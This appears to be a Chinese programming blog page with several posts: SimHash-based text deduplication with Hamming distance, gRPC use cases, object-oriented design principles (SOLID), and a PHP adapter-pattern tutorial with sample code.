为了高效比较,我们预先加载了库里存在文本并转换为simhash code 存储在内存空间。来一条文本先转换为 simhash code,然后和内存里的simhash code 进行比较,测试100w次计算在100ms。速度大大提升。

未完待续:

1、目前速度提升了但是数据是不断增量的,如果未来数据发展到一个小时100w,按现在一次100ms,一个线程处理一秒钟 10次,一分钟 60 * 10 次,一个小时 60*10 *60 次 = 36000次,一天 60*10*60*24 = 864000次。 我们目标是一天100w次,通过增加两个线程就可以完成。但是如果要一个小时100w次呢?则需要增加30个线程和相应的硬件资源保证速度能够达到,这样成本也上去了。能否有更好的办法,提高我们比较的效率?

2、通过大量测试,simhash用于比较大文本,比如500字以上效果都还蛮好,距离小于3的基本都是相似,误判率也比较低。但是如果我们处理的是微博信息,最多也就140个字,使用simhash的效果并不那么理想。看如下图,在距离为3时是一个比较折中的点,在距离为10时效果已经很差了,不过我们测试短文本很多看起来相似的距离确实为10。如果使用距离为3,短文本大量重复信息不会被过滤,如果使用距离为10,长文本的错误率也非常高,如何解决?




  查看全部
通过 采集系统 我们采集了大量文本数据,但是文本中有很多重复数据影响我们对于结果的分析。分析前我们需要对这些数据去除重复,如何选择和设计文本的去重算法?常见的有余弦夹角算法、欧式距离、Jaccard相似度、最长公共子串、编辑距离等。这些算法对于待比较的文本数据不多时还比较好用,如果我们的爬虫每天采集的数据以千万计算,我们如何对于这些海量千万级的数据进行高效的合并去重。最简单的做法是拿着待比较的文本和数据库中所有的文本比较一遍如果是重复的数据就标示为重复。看起来很简单,我们来做个测试,就拿最简单的两个数据使用Apache提供的 Levenshtein for 循环100w次计算这两个数据的相似度。代码结果如下:
String s1 = "你妈妈喊你回家吃饭哦,回家罗回家罗" ;
String s2 = "你妈妈叫你回家吃饭啦,回家罗回家罗" ;

long t1 = System.currentTimeMillis();

for (int i = 0; i < 1000000; i++) {
int dis = StringUtils .getLevenshteinDistance(s1, s2);
}

long t2 = System.currentTimeMillis();

System. out .println(" 耗费时间: " + (t2 - t1) + " ms ");
耗费时间: 4266 ms

大跌眼镜,居然计算耗费4秒。假设我们一天需要比较100w次,光是比较100w次的数据是否重复就需要4s,就算4s一个文档,单线程一分钟才处理15个文档,一个小时才900个,一天也才21600个文档,这个数字和一天100w相差甚远,需要多少机器和资源才能解决。

为此我们需要一种应对于海量数据场景的去重方案,经过研究发现有种叫 local sensitive hash 局部敏感哈希 的东西,据说这玩意可以把文档降维到hash数字,数字两两计算运算量要小很多。查找很多文档后看到google对于网页去重使用的是simhash,他们每天需要处理的文档在亿级别,大大超过了我们现在文档的水平。既然老大哥也有类似的应用,我们也赶紧尝试下。simhash是由 Charikar 在2002年提出来的,参考 《Similarity estimation techniques from rounding algorithms》 。 介绍下这个算法主要原理,为了便于理解尽量不使用数学公式,分为这几步:
 


1、分词,把需要判断文本分词形成这个文章的特征单词。最后形成去掉噪音词的单词序列并为每个词加上权重,我们假设权重分为5个级别(1~5)。比如:“ 美国“51区”雇员称内部有9架飞碟,曾看见灰色外星人 ” ==> 分词后为 “ 美国(4) 51区(5) 雇员(3) 称(1) 内部(2) 有(1) 9架(3) 飞碟(5) 曾(1) 看见(3) 灰色(4) 外星人(5)”,括号里是代表单词在整个句子里重要程度,数字越大越重要。

2、hash,通过hash算法把每个词变成hash值,比如“美国”通过hash算法计算为 100101,“51区”通过hash算法计算为 101011。这样我们的字符串就变成了一串串数字,还记得文章开头说过的吗,要把文章变为数字计算才能提高相似度计算性能,现在是降维过程进行时。

3、加权,通过 2步骤的hash生成结果,需要按照单词的权重形成加权数字串,比如“美国”的hash值为“100101”,通过加权计算为“4 -4 -4 4 -4 4”;“51区”的hash值为“101011”,通过加权计算为 “ 5 -5 5 -5 5 5”。

4、合并,把上面各个单词算出来的序列值累加,变成只有一个序列串。比如 “美国”的 “4 -4 -4 4 -4 4”,“51区”的 “ 5 -5 5 -5 5 5”, 把每一位进行累加, “4+5 -4+-5 -4+5 4+-5 -4+5 4+5” ==》 “9 -9 1 -1 1 9”。这里作为示例只算了两个单词的,真实计算需要把所有单词的序列串累加。

5、降维,把4步算出来的 “9 -9 1 -1 1 9” 变成 0 1 串,形成我们最终的simhash签名。 如果每一位大于0 记为 1,小于0 记为 0。最后算出结果为:“1 0 1 0 1 1”。


 
整个过程图为:

simhash.png

 
大家可能会有疑问,经过这么多步骤搞这么麻烦,不就是为了得到个 0 1 字符串吗?我直接把这个文本作为字符串输入,用hash函数生成 0 1 值更简单。其实不是这样的,传统hash函数解决的是生成唯一值,比如 md5、hashmap等。md5是用于生成唯一签名串,只要稍微多加一个字符md5的两个数字看起来相差甚远;hashmap也是用于键值对查找,便于快速插入和查找的数据结构。不过我们主要解决的是文本相似度计算,要比较的是两个文章是否相识,当然我们降维生成了hashcode也是用于这个目的。看到这里估计大家就明白了,我们使用的simhash就算把文章中的字符串变成 01 串也还是可以用于计算相似度的,而传统的hashcode却不行。我们可以来做个测试,两个相差只有一个字符的文本串,“你妈妈喊你回家吃饭哦,回家罗回家罗” 和 “你妈妈叫你回家吃饭啦,回家罗回家罗”。

通过simhash计算结果为:

1000010010101101111111100000101011010001001111100001001011001011

1000010010101101011111100000101011010001001111100001101010001011

通过 hashcode计算为:

1111111111111111111111111111111110001000001100110100111011011110

1010010001111111110010110011101

大家可以看得出来,相似的文本只有部分 01 串变化了,而普通的hashcode却不能做到,这个就是局部敏感哈希的魅力。目前Broder提出的shingling算法和Charikar的simhash算法应该算是业界公认比较好的算法。在simhash的发明人Charikar的论文中并没有给出具体的simhash算法和证明,“量子图灵”得出的证明simhash是由随机超平面hash算法演变而来的。

现在通过这样的转换,我们把库里的文本都转换为simhash 代码,并转换为long类型存储,空间大大减少。现在我们虽然解决了空间,但是如何计算两个simhash的相似度呢?难道是比较两个simhash的01有多少个不同吗?对的,其实也就是这样,我们通过海明距离(Hamming distance)就可以计算出两个simhash到底相似不相似。两个simhash对应二进制(01串)取值不同的数量称为这两个simhash的海明距离。举例如下: 10101 和 00110 从第一位开始依次有第一位、第四、第五位不同,则海明距离为3。对于二进制字符串的a和b,海明距离为等于在a XOR b运算结果中1的个数(普遍算法)。

为了高效比较,我们预先加载了库里存在文本并转换为simhash code 存储在内存空间。来一条文本先转换为 simhash code,然后和内存里的simhash code 进行比较,测试100w次计算在100ms。速度大大提升。

未完待续:

1、目前速度提升了但是数据是不断增量的,如果未来数据发展到一个小时100w,按现在一次100ms,一个线程处理一秒钟 10次,一分钟 60 * 10 次,一个小时 60*10 *60 次 = 36000次,一天 60*10*60*24 = 864000次。 我们目标是一天100w次,通过增加两个线程就可以完成。但是如果要一个小时100w次呢?则需要增加30个线程和相应的硬件资源保证速度能够达到,这样成本也上去了。能否有更好的办法,提高我们比较的效率?

2、通过大量测试,simhash用于比较大文本,比如500字以上效果都还蛮好,距离小于3的基本都是相似,误判率也比较低。但是如果我们处理的是微博信息,最多也就140个字,使用simhash的效果并不那么理想。看如下图,在距离为3时是一个比较折中的点,在距离为10时效果已经很差了,不过我们测试短文本很多看起来相似的距离确实为10。如果使用距离为3,短文本大量重复信息不会被过滤,如果使用距离为10,长文本的错误率也非常高,如何解决?
simhash2.png

 

Grpc应用场景分析

zkbhj 发表了文章 • 0 个评论 • 2772 次浏览 • 2018-03-27 10:57 • 来自相关话题

       gRPC 是一个高性能、开源和通用的 RPC 框架,面向移动和 HTTP/2 设计。目前提供 C、Java 和 Go 语言版本,分别是:grpc, grpc-java, grpc-go. 其中 C 版本支持 C, C++, Node.js, Python, Ruby, Objective-C, PHP 和 C# 支持.

        gRPC 基于 HTTP/2 标准设计,带来诸如双向流、流控、头部压缩、单 TCP 连接上的多复用请求等特性。这些特性使得其在移动设备上表现更好,更省电和节省空间占用(相比当前传统的http1.1+json)。

        gRPC是由Google主导开发的RPC框架,使用HTTP/2协议并用ProtoBuf作为序列化工具。其客户端提供Objective-C、Java接口,服务器侧则有Java、Golang、C++等接口,从而为移动端(iOS/Androi)到服务器端通讯提供了一种解决方案。 当然在当下的环境下,这种解决方案更热门的方式是RESTFull API接口。该方式需要自己去选择编码方式、服务器架构、自己搭建框架(JSON-RPC)。gRPC官方对REST的声音是:和REST一样遵循HTTP协议(明确的说是HTTP/2),但是gRPC提供了全双工流和传统的REST不同的是gRPC使用了静态路径,从而提高性能用一些格式化的错误码代替了HTTP的状态码更好的标示错误。

        至于是否要选择用gRPC。对于已经有一套方案的团队,可以参考下。如果是从头来做,可以考虑下gRPC提供的从客户端到服务器的整套解决方案,这样不用客户端去实现http的请求会话,JSON等的解析,服务器端也有现成的框架用。
 





 
grpc主要使用场景:
 
低延时、高可用的分布式系统;移动端与云服务端的通讯;使用protobuf,独立于语言的协议,支持多语言之间的通讯;可以分层扩展,如:身份验证,负载均衡,日志记录,监控等。

        在微服务场景中使用究竟是否要使用grpc呢?开源社区较为成熟的微服务框架有dubbo、spring cloud。dubbo虽然在服务治理上做的比较完善,但是不支持跨语言。个人觉得,如果不考虑跨语言问题,选用dubbo。考虑跨语言,可以选用grpc、Thrift,但是grpc、Thrift没有服务发现和负载均衡机制,一般使用代理转发负载均衡控制策略。

        在移动端app应用场景中,grpc以其优异的性能,因pb和http2的特性,为移动端用户节省流量、电量。对比传统的http1.1+json方式,建议可以先尝试小范围使用grpc,待系统稳定后,再扩大grpc使用范围。
  查看全部
       gRPC 是一个高性能、开源和通用的 RPC 框架,面向移动和 HTTP/2 设计。目前提供 C、Java 和 Go 语言版本,分别是:grpc, grpc-java, grpc-go. 其中 C 版本支持 C, C++, Node.js, Python, Ruby, Objective-C, PHP 和 C# 支持.

        gRPC 基于 HTTP/2 标准设计,带来诸如双向流、流控、头部压缩、单 TCP 连接上的多复用请求等特性。这些特性使得其在移动设备上表现更好,更省电和节省空间占用(相比当前传统的http1.1+json)

        gRPC是由Google主导开发的RPC框架,使用HTTP/2协议并用ProtoBuf作为序列化工具。其客户端提供Objective-C、Java接口,服务器侧则有Java、Golang、C++等接口,从而为移动端(iOS/Androi)到服务器端通讯提供了一种解决方案。 当然在当下的环境下,这种解决方案更热门的方式是RESTFull API接口。该方式需要自己去选择编码方式、服务器架构、自己搭建框架(JSON-RPC)。gRPC官方对REST的声音是:和REST一样遵循HTTP协议(明确的说是HTTP/2),但是gRPC提供了全双工流和传统的REST不同的是gRPC使用了静态路径,从而提高性能用一些格式化的错误码代替了HTTP的状态码更好的标示错误。

        至于是否要选择用gRPC。对于已经有一套方案的团队,可以参考下。如果是从头来做,可以考虑下gRPC提供的从客户端到服务器的整套解决方案,这样不用客户端去实现http的请求会话,JSON等的解析,服务器端也有现成的框架用。
 

QQ截图20180327105650.jpg

 
grpc主要使用场景:
 
  1. 低延时、高可用的分布式系统;
  2. 移动端与云服务端的通讯;
  3. 使用protobuf,独立于语言的协议,支持多语言之间的通讯;
  4. 可以分层扩展,如:身份验证,负载均衡,日志记录,监控等。


        在微服务场景中使用究竟是否要使用grpc呢?开源社区较为成熟的微服务框架有dubbo、spring cloud。dubbo虽然在服务治理上做的比较完善,但是不支持跨语言。个人觉得,如果不考虑跨语言问题,选用dubbo。考虑跨语言,可以选用grpc、Thrift,但是grpc、Thrift没有服务发现和负载均衡机制,一般使用代理转发负载均衡控制策略。

        在移动端app应用场景中,grpc以其优异的性能,因pb和http2的特性,为移动端用户节省流量、电量。对比传统的http1.1+json方式,建议可以先尝试小范围使用grpc,待系统稳定后,再扩大grpc使用范围。
 

设计模式:面向对象设计模式(OOP)

zkbhj 发表了文章 • 0 个评论 • 358 次浏览 • 2018-03-01 10:26 • 来自相关话题

首先我们来看下官方的定义。在维基百科上说:

  面向对象程序设计(英语:Object-oriented programming,缩写:OOP)是种具有对象概念的程序编程范型,同时也是一种程序开发的抽象方针。它可能包含数据、属性、代码与方法。对象则指的是类的实例。它将对象作为程序的基本单元,将程序和数据封装其中,以提高软件的重用性、灵活性和扩展性,对象里的程序可以访问及经常修改对象相关连的数据。在面向对象程序编程里,计算机程序会被设计成彼此相关的对象

 
要理解什么是面向对象,我们就先要知道什么是面向过程。

面向过程:就是将要实现一个功能所需要的步骤一步一步的写出来出来,要做到面面俱到、有条不絮。

 
面向对象设计的三个基本要素

面向对象的三个基本特征是:封装、继承、多态。


1·封装性

封装性是一种信息隐蔽技术,他体现于类的说明,是对象重要的特性。封装使得数据和操作数据的方法封装为一个整体,想成独立性很强的模块,使得用户只能看到对象的外部特性(对象可以接受拿些信息,可以进行何种处理),而对象的内部特性(内部私有属性和实现处理能力的算法)用户是看不到的。简而言之就是说,封装使对象的设计者与对象的使用者分开,使用者只要知道对象可以做什么就可以了,无需知道具体是怎么实现的。借助封装有助于提高类和系统的安全性。

2·继承性

继承是一种由已有类创建子类的机制,利用继承,可以先创建一个共有属性的一般类,根据这个类再创建具有特殊属性的子类,被继承的类成为父类,当然子类也可以成为父类来继续向下扩展。

3·多态性

同一个信息被不同的对象接收到时可能产生不同的行为,这就是多态性。有继承(接口)有重写,父类引用指向子类对象,就会产生多态。多态可以改善程序的组织架构,提高程序的可扩展性。

面向对象设计的五个基本设计原则

单一职责原则(SRP)、开放封闭原则(OCP)、Liskov替换原则(LSP)、依赖倒置原则(DIP)、接口隔离原则(ISP)


1·单一职责原则(Single-Responsibility Principle)

其核心思想为:一个类只做一件事情,只有一个引起他的变化。单一职责原则可以看做是低耦合,高内聚在面向对象原则上的隐身,将职责定义为引起变化的原因,以提高内举行来减少引起变化的原因。职责过多可能引起他变化的原因也就越多,这将导致职责依赖,相互之间产生影响,从而大大损伤内聚性和耦合度。单一职责就是指,只有一种单一的功能,不要为类实现过多的功能点,有些功能可以定义为接口来实现,以保证只有一个引起他变化的原因。
专注是一个人优良的品质。同样的,单一也是一个类的优良设计,杂交不清的职责将使得代码看起来特别别扭,牵一发动全身,有失没敢和必然导致丑陋的系统错误风险。

2·开放封闭原则(Open-Closeed Principle)

其核心思想是:软件实体应该是可扩展的,而不可修改的。也就是,对扩展开放,对修改封闭。开放封闭原则主要体现在两个方面
1、对扩展开放,意味着有新的需求或者变化时,可以对现有代码进行扩展,以适应新的情况。
2、对修改封闭,意味着一旦设计完成,就可以独立完成其工作,而不要对其进行任何尝试的修改。
实现开放封闭原则的核心思想就是对抽象编程,而不是具体编程,因为抽象相对稳定。让类依赖于固定的抽象类或者接口,所以修改就是封闭的。而通多面向对象的继承和多态机制,又可以继承抽象类或者实现接口,通过重写其方法来改变固有的行为,实现方法新的拓展,所以就是开放的。
需求总是变化的,没有不变的软件,所以就需要用OCP来封闭变化,满足需求,同时还能保持软件内部的封装体系的稳定,不被需求的变化影响。

3·里氏替换原则(Liskov-Substituion Principle)

核心思想:子类必须能够替换其父类。这一思想体现为对继承机制的约束规范,只有子类能够替换父类时才能保证系统在运行期内识别子类,这是保证继承复用的基础。在父类和子类的具体行为中,必须严格把握继承层次中的关系和特征,将父类替换为子类,程序的行为不会发生任何变化。同时,这一约束反过来则是不成立的,子类可以替换父类,但是父类不一定能替换子类。
Liskov替换原则,主要着眼于对抽象和多态建立在继承的基础上,因此只有遵循了Liskov替换原则,才能保证继承复用是可靠地。实现的方法是面向接口编程:将公共部分抽象为基类接口或抽象类,通过Extract Abstract Class,在子类中通过覆写父类的方法实现新的方式支持同样的职责。
Liskov替换原则是关于继承机制的设计原则,违反了Liskov替换原则就必然导致违反开放封闭原则。
Liskov替换原则能够保证系统具有良好的拓展性,同时实现基于多态的抽象机制,能够减少代码冗余,避免运行期的类型判别。

4·依赖倒置原则(Dependecy-Inversion Principle)

其核心思想是:依赖于抽象。具体而言就是高层模块不依赖于底层模块,二者都同依赖于抽象;抽象不依赖于具体,具体依赖于抽象。
我们知道,依赖一定会存在于类与类、模块与模块之间。当两个模块之间存在紧密的耦合关系时,最好的方法就是分离接口和实现:在依赖之间定义一个抽象的接口使得高层模块调用接口,而底层模块实现接口的定义,以此来有效控制耦合关系,达到依赖于抽象的设计目标。
抽象的稳定性决定了系统的稳定性,因为抽象是不变的,依赖于抽象是面向对象设计的精髓,也是依赖倒置原则的核心。
依赖于抽象是一个通用的原则,而某些时候依赖于细节则是在所难免的,必须权衡在抽象和具体之间的取舍,方法不是不变的。依赖于抽象,就是对接口编程,不要对实现编程。

5·接口隔离原则(Interface-Segregation Principle)

其核心思想是:使用多个小的专门的接口,而不要使用一个大的总接口。
具体而言,接口隔离原则体现在:接口应该是内聚的,应该避免“胖”接口。一个类对另外一个类的依赖应该建立在最小的接口上,不要强迫依赖不用的方法,这是一种接口污染。
接口有效地将细节和抽象隔离,体现了对抽象编程的一切好处,接口隔离强调接口的单一性。而胖接口存在明显的弊端,会导致实现的类型必须完全实现接口的所有方法、属性等;而某些时候,实现类型并非需要所有的接口定义,在设计上这是“浪费”,而且在实施上这会带来潜在的问题,对胖接口的修改将导致一连串的客户端程序需要修改,有时候这是一种灾难。在这种情况下,将胖接口分解为多个特点的定制化方法,使得客户端仅仅依赖于它们的实际调用的方法,从而解除了客户端不会依赖于它们不用的方法。
分离的手段主要有以下两种:1、委托分离,通过增加一个新的类型来委托客户的请求,隔离客户和接口的直接依赖,但是会增加系统的开销。2、多重继承分离,通过接口多继承来实现客户的需求,这种方式是较好的。 查看全部
首先我们来看下官方的定义。在维基百科上说:


  面向对象程序设计(英语:Object-oriented programming,缩写:OOP)是种具有对象概念的程序编程范型,同时也是一种程序开发的抽象方针。它可能包含数据、属性、代码与方法。对象则指的是类的实例。它将对象作为程序的基本单元,将程序和数据封装其中,以提高软件的重用性、灵活性和扩展性,对象里的程序可以访问及经常修改对象相关连的数据。在面向对象程序编程里,计算机程序会被设计成彼此相关的对象


 
要理解什么是面向对象,我们就先要知道什么是面向过程。


面向过程:就是将要实现一个功能所需要的步骤一步一步的写出来出来,要做到面面俱到、有条不絮。


 
面向对象设计的三个基本要素


面向对象的三个基本特征是:封装、继承、多态。



1·封装性

封装性是一种信息隐蔽技术,他体现于类的说明,是对象重要的特性。封装使得数据和操作数据的方法封装为一个整体,想成独立性很强的模块,使得用户只能看到对象的外部特性(对象可以接受拿些信息,可以进行何种处理),而对象的内部特性(内部私有属性和实现处理能力的算法)用户是看不到的。简而言之就是说,封装使对象的设计者与对象的使用者分开,使用者只要知道对象可以做什么就可以了,无需知道具体是怎么实现的。借助封装有助于提高类和系统的安全性。

2·继承性

继承是一种由已有类创建子类的机制,利用继承,可以先创建一个共有属性的一般类,根据这个类再创建具有特殊属性的子类,被继承的类成为父类,当然子类也可以成为父类来继续向下扩展。

3·多态性

同一个信息被不同的对象接收到时可能产生不同的行为,这就是多态性。有继承(接口)有重写,父类引用指向子类对象,就会产生多态。多态可以改善程序的组织架构,提高程序的可扩展性。

面向对象设计的五个基本设计原则


单一职责原则(SRP)、开放封闭原则(OCP)、Liskov替换原则(LSP)、依赖倒置原则(DIP)、接口隔离原则(ISP)



1·单一职责原则(Single-Responsibility Principle)

其核心思想为:一个类只做一件事情,只有一个引起他的变化。单一职责原则可以看做是低耦合,高内聚在面向对象原则上的隐身,将职责定义为引起变化的原因,以提高内举行来减少引起变化的原因。职责过多可能引起他变化的原因也就越多,这将导致职责依赖,相互之间产生影响,从而大大损伤内聚性和耦合度。单一职责就是指,只有一种单一的功能,不要为类实现过多的功能点,有些功能可以定义为接口来实现,以保证只有一个引起他变化的原因。
专注是一个人优良的品质。同样的,单一也是一个类的优良设计,杂交不清的职责将使得代码看起来特别别扭,牵一发动全身,有失没敢和必然导致丑陋的系统错误风险。

2·开放封闭原则(Open-Closeed Principle)

其核心思想是:软件实体应该是可扩展的,而不可修改的。也就是,对扩展开放,对修改封闭。开放封闭原则主要体现在两个方面
1、对扩展开放,意味着有新的需求或者变化时,可以对现有代码进行扩展,以适应新的情况。
2、对修改封闭,意味着一旦设计完成,就可以独立完成其工作,而不要对其进行任何尝试的修改。
实现开放封闭原则的核心思想就是对抽象编程,而不是具体编程,因为抽象相对稳定。让类依赖于固定的抽象类或者接口,所以修改就是封闭的。而通多面向对象的继承和多态机制,又可以继承抽象类或者实现接口,通过重写其方法来改变固有的行为,实现方法新的拓展,所以就是开放的。
需求总是变化的,没有不变的软件,所以就需要用OCP来封闭变化,满足需求,同时还能保持软件内部的封装体系的稳定,不被需求的变化影响。

3·里氏替换原则(Liskov-Substituion Principle)

核心思想:子类必须能够替换其父类。这一思想体现为对继承机制的约束规范,只有子类能够替换父类时才能保证系统在运行期内识别子类,这是保证继承复用的基础。在父类和子类的具体行为中,必须严格把握继承层次中的关系和特征,将父类替换为子类,程序的行为不会发生任何变化。同时,这一约束反过来则是不成立的,子类可以替换父类,但是父类不一定能替换子类。
Liskov替换原则,主要着眼于对抽象和多态建立在继承的基础上,因此只有遵循了Liskov替换原则,才能保证继承复用是可靠地。实现的方法是面向接口编程:将公共部分抽象为基类接口或抽象类,通过Extract Abstract Class,在子类中通过覆写父类的方法实现新的方式支持同样的职责。
Liskov替换原则是关于继承机制的设计原则,违反了Liskov替换原则就必然导致违反开放封闭原则。
Liskov替换原则能够保证系统具有良好的拓展性,同时实现基于多态的抽象机制,能够减少代码冗余,避免运行期的类型判别。

4·依赖倒置原则(Dependecy-Inversion Principle)

其核心思想是:依赖于抽象。具体而言就是高层模块不依赖于底层模块,二者都同依赖于抽象;抽象不依赖于具体,具体依赖于抽象。
我们知道,依赖一定会存在于类与类、模块与模块之间。当两个模块之间存在紧密的耦合关系时,最好的方法就是分离接口和实现:在依赖之间定义一个抽象的接口使得高层模块调用接口,而底层模块实现接口的定义,以此来有效控制耦合关系,达到依赖于抽象的设计目标。
抽象的稳定性决定了系统的稳定性,因为抽象是不变的,依赖于抽象是面向对象设计的精髓,也是依赖倒置原则的核心。
依赖于抽象是一个通用的原则,而某些时候依赖于细节则是在所难免的,必须权衡在抽象和具体之间的取舍,方法不是不变的。依赖于抽象,就是对接口编程,不要对实现编程。

5·接口隔离原则(Interface-Segregation Principle)

其核心思想是:使用多个小的专门的接口,而不要使用一个大的总接口。
具体而言,接口隔离原则体现在:接口应该是内聚的,应该避免“胖”接口。一个类对另外一个类的依赖应该建立在最小的接口上,不要强迫依赖不用的方法,这是一种接口污染。
接口有效地将细节和抽象隔离,体现了对抽象编程的一切好处,接口隔离强调接口的单一性。而胖接口存在明显的弊端,会导致实现的类型必须完全实现接口的所有方法、属性等;而某些时候,实现类型并非需要所有的接口定义,在设计上这是“浪费”,而且在实施上这会带来潜在的问题,对胖接口的修改将导致一连串的客户端程序需要修改,有时候这是一种灾难。在这种情况下,将胖接口分解为多个特点的定制化方法,使得客户端仅仅依赖于它们的实际调用的方法,从而解除了客户端不会依赖于它们不用的方法。
分离的手段主要有以下两种:1、委托分离,通过增加一个新的类型来委托客户的请求,隔离客户和接口的直接依赖,但是会增加系统的开销。2、多重继承分离,通过接口多继承来实现客户的需求,这种方式是较好的。

PHP设计模式之:适配器模式

zkbhj 发表了文章 • 0 个评论 • 403 次浏览 • 2018-01-29 11:15 • 来自相关话题

在这个有没有对象都要高呼“面向对象”的年代,掌握面向对象会给我们带来意想不到的方便。学编程的小伙伴从开始能写几行代码实现简单功能到后来懂得将一些重复的操作组合起来形成一个“函数”,再到后来将“函数”和属性组合起来形成一个“类”。一步步走来,我们在考虑着机器运行代码效率的提高的同时也在考虑减轻程序员的工作量。 那么我们今天讲到的适配器模型更着重考虑的是什么呢?

是程序员工作量。

 




什么时候会用到适配器模式?

其实最简单的例子是当我们引用一个第三方类库。这个类库随着版本的改变,它提供的API也可能会改变。如果很不幸的是,你的应用里引用的某个API已经发生改变的时候,除了在心中默默地骂“wocao”之外,你还得去硬着头皮去改大量的代码。 

难道真的一定要如此吗?按照套路来说,我会回答“不是的”。我们有适配器模式啊~~  

当接口发生改变时,适配器模式就派上了用场。

举个栗子

如果通过上面的简单描述,你都能懂,那在下只能佩服你的领悟能力超群了。一般人一定还是不知所云。为了方便理解,我引用一位博友的例子。原文地址。

一开始的和谐


黑枣玩具公司专门生产玩具,生产的玩具不限于狗、猫、狮子,鱼等动物。每个玩具都可以进行“张嘴”与“闭嘴”操作,分别调用了openMouth与closeMouth方法。

在这个时候,我们很容易想到可以第一定义一个抽象类Toy,甚至是接口Toy,这些问题不大,其他的类去继承父类,实现父类的方法。一片和谐,欣欣向荣。

平衡的破坏

    为了扩大业务,现在黑枣玩具公司与红枣遥控公司合作,红枣遥控公司可以使用遥控设备对动物进行嘴巴控制。不过红枣遥控公司的遥控设备是调用的动物的doMouthOpen及doMouthClose方法。黑枣玩具公司的程序员现在必须要做的是对Toy系列类进行升级改造,使Toy能调用doMouthOpen及doMouthClose方法。

考虑实现的方法时,我们很直接地想到,你需要的话我再在我的父类子类里给你添加这么两个方法就好啦。当你一次又一次在父类子类里面重复添加着这两个方法的时候,总会想着如此重复的工作,难道不能解决么?当有数百个子类的时候,程序员会改疯的。程序员往往比的是谁在不影响效率的时候更会“偷懒”。这样做下去程序员会觉得自己很傻。(其实我经常当这样的傻子)abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();

//为红枣遥控公司控制接口增加doMouthOpen方法
public abstract function doMouthOpen();

//为红枣遥控公司控制接口增加doMouthClose方法
public abstract function doMouthClose();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}更加烦躁

程序员刚刚码完代码,喝了口水,突然间另一个消息传来。

黑枣玩具公司也要与绿枣遥控公司合作,因为绿枣遥控公司遥控设备更便宜稳定。不过绿枣遥控公司的遥控设备是调用的动物的operMouth(type)方法来实现嘴巴控制。如果type)方法来实现嘴巴控制。如果type为0则“闭嘴”,反之张嘴。

这下好了,程序员又得对Toy及其子类进行升级,使Toy能调用operMouth()方法。搁谁都不淡定了。abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();

public abstract function doMouthOpen();

public abstract function doMouthClose();

//为绿枣遥控公司控制接口增加doMouthClose方法
public abstract function operateMouth($type = 0);
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}在这个时候,程序员必须要动脑子想办法了,就算自己勤快,万一哪天紫枣青枣黄枣山枣这些遥控公司全来的时候,忽略自己不断增多的工作量不说,这个Toy类可是越来越大,总有一天程序员不崩溃,系统也会崩溃。

问题在出在哪里呢?

像上面那样编写代码,代码实现违反了“开-闭”原则,一个软件实体应当对扩展开放,对修改关闭。即在设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展。也就是说每个尸体都是一个小王国,你让我参与你的事情这个可以,但你不能修改我的内部,除非我的内部代码确实可以优化。

在这种想法下,我们懂得了如何去用继承,如何利用多态,甚至如何实现“高内聚,低耦合”。

回到这个问题,我们现在面临这么一个问题,新的接口方法我要实现,旧的接口(Toy抽象类)也不能动,那么总得有个解决方法吧。那就是引入一个新的类--我们本文的主角--适配器。  适配器要完成的功能很明确,引用现有接口的方法实现新的接口的方法。更像它名字描述的那样,你的接口不改的话,我就利用现有接口和你对接一下吧。 

到此,解决方法已经呼之欲出了,下面贴上代码。<?php
abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog close Mouth\n";
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat close Mouth\n";
}
}


//目标角色:红枣遥控公司
interface RedTarget
{
public function doMouthOpen();

public function doMouthClose();
}

//目标角色:绿枣遥控公司及
interface GreenTarget
{
public function operateMouth($type = 0);
}


//类适配器角色:红枣遥控公司
class RedAdapter implements RedTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee的sampleMethod1方法
public function doMouthOpen()
{
$this->adaptee->openMouth();
}

public function doMouthClose()
{
$this->adaptee->closeMouth();
}
}

//类适配器角色:绿枣遥控公司
class GreenAdapter implements GreenTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee:GreenTarget的operateMouth方法
public function operateMouth($type = 0)
{
if ($type) {
$this->adaptee->openMouth();
} else {
$this->adaptee->closeMouth();
}
}
}



class testDriver
{
public function run()
{
//实例化一只狗玩具
$adaptee_dog = new Dog();
echo "给狗套上红枣适配器\n";
$adapter_red = new RedAdapter($adaptee_dog);
//张嘴
$adapter_red->doMouthOpen();
//闭嘴
$adapter_red->doMouthClose();
echo "给狗套上绿枣适配器\n";
$adapter_green = new GreenAdapter($adaptee_dog);
//张嘴
$adapter_green->operateMouth(1);
//闭嘴
$adapter_green->operateMouth(0);
}
}

$test = new testDriver();
$test->run();
 最后的结果就是,Toy类及其子类在不改变自身的情况下,通过适配器实现了不同的接口。

最后总结

将一个类的接口转换成客户希望的另外一个接口,使用原本不兼容的而不能在一起工作的那些类可以在一起工作.

